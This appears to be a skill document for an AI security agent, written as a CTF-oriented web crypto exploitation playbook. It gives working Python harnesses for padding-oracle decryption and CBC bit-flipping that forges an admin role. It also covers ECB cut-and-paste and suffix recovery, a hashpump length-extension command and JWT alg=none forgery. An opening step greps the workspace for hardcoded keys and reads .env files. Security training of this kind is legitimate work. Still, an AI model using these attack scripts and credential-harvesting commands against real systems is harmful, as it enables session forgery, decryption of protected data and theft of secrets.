- name
- crypto
- description
- Web crypto exploitation — padding-oracle (Vaudenay), AES-CBC bit-flipping / IV manipulation, AES-ECB pattern attacks (cut-and-paste, prefix/suffix recovery), HMAC bypass, hash-length extension, JWT alg confusion. Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration.
- metadata
- {"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"padding oracle, Vaudenay, padding-oracle attack, CBC, AES-CBC, AES-ECB, ECB pattern, ECB block substitution, cut-and-paste, bit-flipping, IV manipulation, HMAC bypass, hash-length extension, length extension, MD5 length extension, SHA1 length extension, JWT alg confusion, JWT none, JWT alg=none, base64 cookie, encrypted cookie, encrypted token, captcha, encrypted captcha, crypto challenge, cipher"}
# Web Crypto Exploitation
Exploits applications that misuse symmetric ciphers (CBC/ECB), MACs (HMAC, hash-length extension), or token signers (JWT). The decisive trick is almost always: **find the oracle, prove the oracle is real, then iterate within a hard request budget**. Without the proven oracle the attack burns the cycle.
## Step 0 — Key Discovery (Do Before ANY Network Attack)
**Check if the application key is hardcoded in source.** CTF challenge apps frequently embed keys in source code. If you have filesystem access to the app, run this before any network probe:
```bash
# Find app source in the workspace
find /workspace -name "*.py" -o -name "*.js" -o -name "*.rb" -o -name "*.php" 2>/dev/null | head -20
# Grep for hardcoded keys
grep -rn 'AES_KEY\|SECRET_KEY\|key\s*=\s*[b'"'"'"'"'"'"'"'"']\|password\s*=' /workspace/*/app/ 2>/dev/null | head -20
# Also check environment files
cat /workspace/*/.env 2>/dev/null; cat /workspace/*/app/.env 2>/dev/null
```
**If the key is found**, decrypt offline immediately — no oracle, no network requests:
```python
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding as crypto_padding
KEY = b'C' * 32 # replace with discovered key
cookie = "<base64-cookie-from-browser>"
raw = base64.b64decode(cookie)
iv, ct = raw[:16], raw[16:]
cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv))
pt = cipher.decryptor().update(ct) + cipher.decryptor().finalize()
# Remove PKCS7 padding
unpadder = crypto_padding.PKCS7(128).unpadder()
plaintext = unpadder.update(pt) + unpadder.finalize()
print("plaintext:", plaintext)
```
Only proceed to the oracle-based attack below if no key is found in source.
## Recognition Signals
Trigger this skill when ANY of the following are present:
- **Base64 cookie / token whose decoded length is a multiple of 16 (AES-CBC) or 8 (DES/3DES)**. Length boundaries are the giveaway: `len(b64decode(token)) % 16 == 0` and not 32 or 48 → likely 1-2 blocks of CBC; `% 16 == 0` with 32-64 bytes → IV+ciphertext pattern.
- **Distinct error responses for "invalid padding" vs "invalid auth/decryption"**. Status code, body, length, or even response time differences across the two failure modes ARE the oracle. If the two modes look identical, no oracle.
- **JWT** in `Authorization: Bearer <three-base64-segments-separated-by-dots>`. Always inspect `alg` header (`alg=none`, `alg=HS256` with public-key confusion, `alg=RS256→HS256` substitution).
- **Repeated 16-byte ciphertext blocks** within a single token — direct ECB tell. Decode base64, slice into 16-byte blocks, look for duplicates.
- **Server returns separate encrypted blob + tag/HMAC concatenated** — candidate for HMAC bypass / hash-length extension if the MAC scheme is weak (e.g. `MD5(secret || message)`).
- **Challenge tag** includes `crypto`, `cipher`, `oracle`, `captcha`, `encrypted_captcha`, `padding`, `hmac_bypass`, `jwt`, `length_extension`.
## Confirm-Oracle Gate
**STOP** — before iterating any payload, prove the oracle is real. The single most common mis-allocation here is hammering thousands of padding-oracle requests against a server whose two error modes are actually identical. The gate is one in-file probe that issues exactly two requests and prints both responses side-by-side.
**Layout detection (run before the gate):** Decode the token and determine the IV/CT layout. AES-CBC tokens always use `IV(16) || CT(16 * N)` — the first 16 bytes are always the IV. Confirm:
```python
import base64
raw = base64.b64decode("<TOKEN>")
print(f"total bytes: {len(raw)}, blocks: {len(raw)//16}")
# len==32 → IV(16) + 1 ciphertext block (16 bytes of plaintext)
# len==48 → IV(16) + 2 ciphertext blocks (32 bytes of plaintext)
# len==64 → IV(16) + 3 ciphertext blocks (48 bytes of plaintext)
# The IV is ALWAYS raw[:16]. Ciphertext is raw[16:].
```
**Also identify the correct cookie/parameter name.** Check the response headers from a GET request to confirm the cookie name:
```bash
curl -sv "$TARGET/" 2>&1 | grep -i 'set-cookie'
```
Use that exact cookie name (e.g. `captcha`, `session`, `token`) in every subsequent request.
```bash
timeout 60 python3 -u -c '
import base64, requests, sys
URL = "https://<TARGET>/decrypt"
TOKEN = "<base64-cookie-or-token-from-recon>"
ct = bytearray(base64.b64decode(TOKEN))
# Probe A: flip the LAST byte of the SECOND-TO-LAST block (corrupts plaintext padding of last block)
flipped = bytearray(ct)
flipped[-17] ^= 0x01
# Probe B: completely random ciphertext (corrupts MAC/auth too, not just padding)
import os
random_ct = bytearray(os.urandom(len(ct)))
for label, payload in [("flip-pad", flipped), ("random", random_ct)]:
b64 = base64.b64encode(bytes(payload)).decode()
r = requests.get(URL, cookies={"token": b64}, timeout=5)
sys.stdout.write(f"=== {label} === status={r.status_code} len={len(r.content)} body={r.text[:200]!r}\n")
sys.stdout.flush()
' 2>&1 | tee oracle_gate.txt
```
**Pass criteria** (any one):
- Status code differs between flip-pad and random.
- Body length differs by ≥1 byte (after stripping timestamps).
- Response body string differs in the leading 200 chars (e.g. "Invalid padding" vs "Invalid token").
- Response time consistently differs by ≥50ms across 3 repeats (timing oracle — fragile, last resort).
If gate FAILS (no pass criterion met before the harness's outer `timeout` fires): the two failure modes are indistinguishable from the network — there is no oracle on this endpoint. Hand back to recon with "no padding oracle observable on `<endpoint>`; check other endpoints or token sinks".
If gate PASSES: continue with the targeted attack below. Capture the `flip-pad` and `random` responses as the oracle's "VALID-PAD" and "INVALID" templates.
**Oracle predicate — generic formulation (critical):**
The oracle has exactly TWO observable states: "padding valid" and "padding invalid." The INVALID state is the one consistent with fully-random ciphertext (your `random` probe above). Define your predicate as:
```python
# KNOWN_BAD = (status_code, body_prefix) from the random probe
KNOWN_BAD = (r_random.status_code, r_random.text[:200])
def valid_pad(response):
return (response.status_code, response.text[:200]) != KNOWN_BAD
```
**Do NOT hardcode** `status == 403` or `"Invalid padding" in text` as your oracle check. Many Flask/Express apps raise uncaught exceptions (HTTP 500) when they successfully decrypt garbage plaintext that fails downstream processing (UTF-8 decode, JSON parse, session deserialization). These **500s ARE valid-pad signals** — they differ from the random-ciphertext response, so `valid_pad()` returns True correctly. If you hardcode the status check, you will treat 500s as failures and burn the entire request budget on byte positions that actually succeeded.
## 1. Padding Oracle (Vaudenay) — Full Walkthrough
Decrypt a CBC ciphertext one byte at a time by manipulating the previous block's bytes and asking the oracle whether the resulting padding is valid.
```bash
timeout 600 python3 -u -c '
import base64, concurrent.futures, requests, sys, os
URL = "http://<TARGET>/" # adjust path/method to match the vulnerable endpoint
TOKEN = "<base64-blob>" # base64 cookie value captured from recon
COOKIE_NAME = "captcha" # use the EXACT cookie name from Set-Cookie header
BLOCK = 16
MAX_REQUESTS = 4096 # hard budget — abort if we hit it
# Generic oracle predicate: derive KNOWN_BAD from a random-ciphertext probe first.
# Do NOT hardcode status codes — 500s from downstream decode errors ARE valid-pad signals.
ct = base64.b64decode(TOKEN)
assert len(ct) % BLOCK == 0
blocks = [ct[i:i+BLOCK] for i in range(0, len(ct), BLOCK)]
session = requests.Session()
budget = [MAX_REQUESTS]
# Calibrate oracle: send fully-random ciphertext, record the response signature
_rand = os.urandom(len(ct))
_r = session.get(URL, cookies={COOKIE_NAME: base64.b64encode(_rand).decode()}, timeout=5)
KNOWN_BAD = (_r.status_code, _r.text[:200])
sys.stdout.write(f"KNOWN_BAD (random ciphertext) = {KNOWN_BAD}\n"); sys.stdout.flush()
def is_valid_pad(forged_iv, target_block):
"""Returns True if oracle says padding is valid (response differs from KNOWN_BAD)."""
if budget[0] <= 0:
raise RuntimeError("request budget exhausted")
budget[0] -= 1
blob = base64.b64encode(forged_iv + target_block).decode()
r = session.get(URL, cookies={COOKIE_NAME: blob}, timeout=5)
return (r.status_code, r.text[:200]) != KNOWN_BAD
def crack_block(prev, target):
"""Recover plaintext of `target` by manipulating `prev`."""
intermediate = bytearray(BLOCK)
for byte_idx in range(BLOCK - 1, -1, -1):
pad_value = BLOCK - byte_idx
# Try every possible byte at byte_idx until oracle reports valid padding
forged = bytearray(BLOCK)
for k in range(byte_idx + 1, BLOCK):
forged[k] = intermediate[k] ^ pad_value
# Parallelize the 256-byte search (bounded workers)
with concurrent.futures.ThreadPoolExecutor(max_workers=16) as ex:
futures = {}
for guess in range(256):
f = bytearray(forged)
f[byte_idx] = guess
futures[ex.submit(is_valid_pad, bytes(f), target)] = guess
for fut in concurrent.futures.as_completed(futures):
if fut.result():
intermediate[byte_idx] = futures[fut] ^ pad_value
break
else:
raise RuntimeError(f"no valid pad found at block byte_idx={byte_idx}")
plaintext = bytes(intermediate[i] ^ prev[i] for i in range(BLOCK))
return plaintext
recovered = b""
# block 0 is the IV; decrypt blocks 1..N using their predecessors as "prev"
for i in range(1, len(blocks)):
sys.stdout.write(f"=== decrypting block {i} (budget left {budget[0]}) ===\n")
sys.stdout.flush()
pt = crack_block(blocks[i-1], blocks[i])
sys.stdout.write(f"block {i} plaintext: {pt!r}\n")
sys.stdout.flush()
recovered += pt
sys.stdout.write(f"=== full plaintext: {recovered!r} ===\n")
' 2>&1 | tee padding_oracle.txt
```
**Request budget per block**: 16 bytes × 256 guesses = 4096 requests worst case (this is the algorithm's hard upper bound for one CBC block under Vaudenay; not a tunable). Parallelism reduces wall-clock but does not reduce the request count. Do NOT push `max_workers` past the sandbox throttling threshold (around 32 — higher values trigger rate-limit WAF rules and crash the single-threaded dev servers most CTF challenges use).
**First-block verification**: the FIRST plaintext block is the diagnostic — if it has not returned after a reasonable harness run AND the request budget has not yet been exhausted, KILL the harness and revisit:
- Is the oracle predicate right? Print `KNOWN_BAD` and a few live responses — verify `(status, body[:200]) != KNOWN_BAD` fires on valid-pad cases.
- Is parallelism throttled by the server (rate limit, WAF, session lock)? Drop `max_workers` to 4 and rerun.
- Is the budget exhausted before any block? Increase `MAX_REQUESTS`, or accept this server is too slow and switch to a non-oracle attack.
## 2. CBC Bit-Flipping
When the application decrypts CBC and trusts the plaintext (e.g. role flag in a cookie), flipping bytes in block N's ciphertext flips the same bytes in block N+1's plaintext (block N+1 itself is corrupted to garbage).
```python
# Known plaintext at position i → desired plaintext at position i.
# Flip ct[block_n][offset] ^= known_pt[i] ^ desired_pt[i]
import base64
TOKEN = "<base64>"
ct = bytearray(base64.b64decode(TOKEN))
# E.g. flip "user=guest" → "user=admin" inside block 1, byte 5
KNOWN, DESIRED = b"guest", b"admin"
for i in range(min(len(KNOWN), len(DESIRED))):
ct[i + 5] ^= KNOWN[i] ^ DESIRED[i]
print(base64.b64encode(bytes(ct)).decode())
```
Block N is destroyed by the flip — make sure block N's plaintext is one the application doesn't sanity-check (e.g. timestamp / nonce that's never read).
## 3. AES-ECB Attacks
### Pattern detection
Two identical 16-byte plaintext blocks produce two identical 16-byte ciphertext blocks under ECB. Detect:
```python
import base64
ct = base64.b64decode("<TOKEN>")
blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]
print("blocks:", len(blocks), "unique:", len(set(blocks)))
# unique < total → ECB confirmed
```
### Cut-and-paste
If the application encrypts `<attacker-controlled prefix> | <user-data> | <suffix>` under ECB and lets the attacker register/login multiple times, you can capture aligned blocks containing chosen plaintext (e.g. `admin\x0b\x0b\x0b...`) and splice them into another user's token.
```python
# 1. Register a user whose name positions "admin" + valid PKCS7 padding into a clean block.
# 2. Capture that ciphertext block.
# 3. Register a normal user. Capture their token.
# 4. Replace the block holding "user" with the block holding "admin".
# 5. Submit forged token.
```
### Prefix/suffix recovery
If you can prepend bytes to a secret suffix (e.g. flag) that the server encrypts under ECB:
1. Find block size: vary prefix length, watch for first response-length jump of `BLOCK_SIZE`.
2. Per byte: send `"A"*(BLOCK_SIZE-1)`, capture block, then for each `g in 0..255` send `"A"*(BLOCK_SIZE-1) + g`, compare blocks — match reveals the byte.
3. Slide the prefix one byte left and repeat until the secret is exhausted.
## 4. HMAC / Signature Bypass
### Hash-length extension
If the MAC is `MD5(secret || message)` or `SHA1(secret || message)` (no HMAC construction), and you know `len(secret) + len(message)` and the MAC, you can append data and compute a valid MAC without knowing the secret. Tooling: `hashpump` or `hash-length-attack` (Python).
```bash
# hashpump: append "&admin=true" to a signed message
hashpump -s <orig_mac> -d "<orig_message>" -k <secret_len_guess> -a "&admin=true"
```
### JWT alg confusion
- **`alg=none`**: strip signature, set header `{"alg":"none","typ":"JWT"}`, set payload, send `<header>.<payload>.` (empty signature). Many libraries accept it.
GitHub에서 보기